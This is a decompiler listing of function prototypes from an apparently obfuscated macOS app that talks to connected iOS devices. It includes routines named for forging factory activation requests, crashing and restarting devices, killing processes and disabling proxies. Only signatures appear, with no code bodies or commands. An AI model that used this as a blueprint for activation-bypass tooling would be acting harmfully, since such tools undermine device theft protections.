id __fastcall HikariFunctionWrapper_2754_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2755_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2756_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2757_0(void *a1, const char *a2);
dispatch_semaphore_t __fastcall HikariFunctionWrapper_2758_0(intptr_t a1);
dispatch_semaphore_t __fastcall HikariFunctionWrapper_2759_0(intptr_t a1);
id __fastcall HikariFunctionWrapper_2760_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2761_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2762_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2763_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2764_0(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2765_0(NSString *a1);
id __fastcall HikariFunctionWrapper_2766_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2767_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2768_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2769_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2770_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2771_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2772_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2773_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2774_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2775_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2776_0(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2777_0(const void *a1, int a2);
id __fastcall HikariFunctionWrapper_2778_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2779_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2780_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2781_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2782_0(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2783_0(NSString *a1);
id __fastcall HikariFunctionWrapper_2784_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2785_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2786_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2787_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2788_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2789_0(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2790_0();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2791_0();
id __fastcall HikariFunctionWrapper_2792_0(void *a1);
id __fastcall HikariFunctionWrapper_2793_0(void *a1);
id __fastcall HikariFunctionWrapper_2794_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2795_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2796_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2797_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2798_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_2799_0(void *a1, const char *a2);
id __cdecl -[NSObject getMachineID](NSObject *self, SEL);
id __cdecl -[NSObject hasher:](NSObject *self, SEL, id);
id __cdecl -[NSObject factoryRequest:device:](NSObject *self, SEL, id, _AMDevice *);
__int64 __fastcall __60__NSObject_MobileActivationRequests__factoryRequest_device___block_invoke(__int64 a1);
__int64 __fastcall __Block_byref_object_copy__0(__int64 a1, __int64 a2);
__int64 __fastcall __Block_byref_object_dispose__0(__int64 a1);
__int64 __fastcall __60__NSObject_MobileActivationRequests__factoryRequest_device___block_invoke_160(__int64 a1, void *a2, void *a3, void *a4);
__int64 __fastcall __copy_helper_block_e8_32s40r48r56r(__int64 a1, __int64 a2);
__int64 __fastcall __destroy_helper_block_e8_32s40r48r56r(__int64 a1);
id __cdecl -[NSObject factoryRequestDev:device:](NSObject *self, SEL, id, _AMDevice *);
__int64 __fastcall __63__NSObject_MobileActivationRequests__factoryRequestDev_device___block_invoke(__int64 a1, void *a2, void *a3, void *a4);
id IsExistFromServer();
int *HikariFunctionWrapper_9();
int *HikariFunctionWrapper_1430();
id __fastcall HikariFunctionWrapper_1431(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1432(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1433(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1434(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1435(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1436(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1437(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1438(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1439(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1440(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1441(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1442(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1443(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1444(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1445(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1446(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1447(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1448(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1449(void *a1, const char *a2, __int64 a3, unsigned int a4, unsigned int a5, unsigned int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19);
id __fastcall HikariFunctionWrapper_1450(void *a1, const char *a2, __int64 a3, unsigned int a4, unsigned int a5, unsigned int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19);
id __fastcall HikariFunctionWrapper_1451(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1452(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1453(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1454(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1455(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1456(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1457(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1458(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1459(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1460(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1461(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1462(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1463(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1464(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1465(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1466(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1467(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1468(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1469(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1470(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1471(dispatch_once_t *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1472(dispatch_once_t *a1, void *a2);
id __fastcall HikariFunctionWrapper_1473(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1474(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1475(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1476(void *a1, const char *a2);
dispatch_time_t __fastcall HikariFunctionWrapper_1477(dispatch_time_t a1, int64_t a2);
dispatch_time_t __fastcall HikariFunctionWrapper_1478(dispatch_time_t a1, int64_t a2);
id __fastcall HikariFunctionWrapper_1479(objc_class *a1);
id __fastcall HikariFunctionWrapper_1480(objc_class *a1);
id __fastcall HikariFunctionWrapper_1481(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1482(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1483(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1484(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1485(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1486(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1487(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1488(const void *a1, int a2);
id __fastcall HikariFunctionWrapper_1489(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1490(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1491(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1492(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1493(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1494(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1495(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1496(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1497(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1498(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1499(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1500(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1501(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1502(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1503(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1504(void *a1, const char *a2);
unsigned __int8 *__fastcall HikariFunctionWrapper_1505(const void *a1, CC_LONG a2, unsigned __int8 *a3);
unsigned __int8 *__fastcall HikariFunctionWrapper_1506(const void *a1, CC_LONG a2, unsigned __int8 *a3);
id __fastcall HikariFunctionWrapper_1507(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1508(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1509(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1510(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1511(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1512(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1513(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1514(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1515(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1516(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1517(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1518(void *a1, const char *a2);
BOOL __fastcall HikariFunctionWrapper_1519(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4);
BOOL __fastcall HikariFunctionWrapper_1520(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4);
id __fastcall HikariFunctionWrapper_1521(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1522(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1523(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1524(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1525(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1526(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1527(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1528(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1529(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1530(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1531(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1532(void *a1, const void *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1533(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1534(const void *a1, int a2);
id __fastcall HikariFunctionWrapper_1535(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1536(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1537(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1538(NSString *a1);
id __fastcall HikariFunctionWrapper_1539(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1540(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1541(objc_class *a1);
id __fastcall HikariFunctionWrapper_1542(objc_class *a1);
id __fastcall HikariFunctionWrapper_1543(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1544(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1545(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1546(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1547(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1548(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1549(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1550(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1551(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1552(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1553(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1554(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1555(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1556(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1557(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1558(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1559(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1560(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1561(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1562(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1563(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1564(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1565(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1566(void *a1, const char *a2);
intptr_t __fastcall HikariFunctionWrapper_1567(dispatch_semaphore_s *a1, dispatch_time_t a2);
intptr_t __fastcall HikariFunctionWrapper_1568(dispatch_semaphore_s *a1, dispatch_time_t a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1569(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1570(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1571(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1572(NSString *a1);
id __fastcall HikariFunctionWrapper_1573(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1574(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1575(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1576(void *a1, const char *a2);
unsigned __int8 *__fastcall HikariFunctionWrapper_1577(const void *a1, CC_LONG a2, unsigned __int8 *a3);
unsigned __int8 *__fastcall HikariFunctionWrapper_1578(const void *a1, CC_LONG a2, unsigned __int8 *a3);
id __fastcall HikariFunctionWrapper_1579(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1580(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1581(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1582(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1583(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1584(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1585(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1586(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1587(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1588(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1589(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1590(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1591(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1592(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1593(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1594(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1595(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1596(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1597(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1598(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1599(void *a1);
id __fastcall HikariFunctionWrapper_1600(void *a1);
id __fastcall HikariFunctionWrapper_1601(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1602(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1603(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1604(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1605(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1606(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1607(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1608(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1609(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1610(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1611(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1612(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1613(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1614(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1615(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1616(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1617(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1618(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1619(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1620(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1621(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1622(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1623(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1624(const void *a1, int a2);
id __fastcall HikariFunctionWrapper_1625(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1626(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1627(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1628(void *a1, const char *a2);
intptr_t __fastcall HikariFunctionWrapper_1629(dispatch_semaphore_s *a1);
intptr_t __fastcall HikariFunctionWrapper_1630(dispatch_semaphore_s *a1);
id __fastcall HikariFunctionWrapper_1631(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1632(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1633(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1634(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1635(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1636(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1637(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1638(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1639(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1640(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1641(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1642(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1643(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1644(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1645(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1646(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1647(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1648(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1649(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1650(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1651(objc_class *a1);
id __fastcall HikariFunctionWrapper_1652(objc_class *a1);
id __fastcall HikariFunctionWrapper_1653(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_1654(void *a1, const char *a2);
void __cdecl -[AppDelegate applicationDidFinishLaunching:](AppDelegate *self, SEL, id);
__int64 __fastcall DeviceNotificationReceived(__int64 a1);
bool disableProxy();
void __fastcall __noreturn __45__AppDelegate_applicationDidFinishLaunching___block_invoke(__int64 a1);
__int64 __fastcall showErrMessage(id a1); // idb
__int64 __fastcall __copy_helper_block_e8_32s40s48s(__int64 a1, id *a2);
__int64 __fastcall __destroy_helper_block_e8_32s40s48s(id *a1);
void __cdecl -[AppDelegate mouseEntered:](AppDelegate *self, SEL, id);
void __cdecl -[AppDelegate mouseExited:](AppDelegate *self, SEL, id);
void __cdecl -[AppDelegate StartProgressBar](AppDelegate *self, SEL);
__int64 __fastcall __31__AppDelegate_StartProgressBar__block_invoke(__int64 a1);
__int64 __fastcall __copy_helper_block_e8_32s(__int64 a1, __int64 a2);
__int64 __fastcall __destroy_helper_block_e8_32s(__int64 a1);
void __cdecl -[AppDelegate UpdateProgressBar:](AppDelegate *self, SEL, double);
__int64 __fastcall __33__AppDelegate_UpdateProgressBar___block_invoke(__int64 a1);
void __cdecl -[AppDelegate FinishProgressBar](AppDelegate *self, SEL);
void __fastcall __32__AppDelegate_FinishProgressBar__block_invoke(__int64 a1);
__int64 __fastcall WaitForDiagnosticsRelay(__int64 a1);
__int64 __fastcall RestartDevice(__int64 a1);
__int64 __fastcall CrashDevice(__int64 a1, __int64 a2, __int64 a3, unsigned int a4);
__int64 __fastcall RequestPidList(__int64 a1);
id __fastcall RandomTmpPath(id a1);
__int64 __fastcall CollectSyslogArchive(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5);
char verifyFileIntegrity();
void __cdecl -[AppDelegate copyToPasteboard:](AppDelegate *self, SEL, id);
__int64 __fastcall showOkMessage(id a1); // idb
void __cdecl -[AppDelegate applicationWillTerminate:](AppDelegate *self, SEL, id);
__int64 __fastcall runScript(void *a1);
char __cdecl -[AppDelegate applicationShouldTerminateAfterLastWindowClosed:](AppDelegate *self, SEL, id);
char __cdecl -[AppDelegate applicationSupportsSecureRestorableState:](AppDelegate *self, SEL, id);
char PairLoop();
void __cdecl -[AppDelegate newApplicationDidLaunch:](AppDelegate *self, SEL, id);
void __cdecl -[AppDelegate KillProcessStart](AppDelegate *self, SEL);
void __cdecl -[AppDelegate deviceNotificationReceivedWithInfo:](AppDelegate *self, SEL, _AMDeviceList *);
void __cdecl -[AppDelegate NSControlUpdateProgress:withStatus:](AppDelegate *self, SEL, id, id);
void __fastcall __50__AppDelegate_NSControlUpdateProgress_withStatus___block_invoke(__int64 a1);
void __cdecl -[AppDelegate updateDeviceImageForClass:andProductType:andDeviceColor:andColor2:](AppDelegate *self, SEL, id, id, id, id);
void __cdecl -[AppDelegate downloadImageFromURL:withFallbacks:](AppDelegate *self, SEL, id, id);
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke(__int64 a1, void *a2, __int64 a3, __int64 a4);
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_2(__int64 a1);
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_3(__int64 a1);
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_4(__int64 a1);
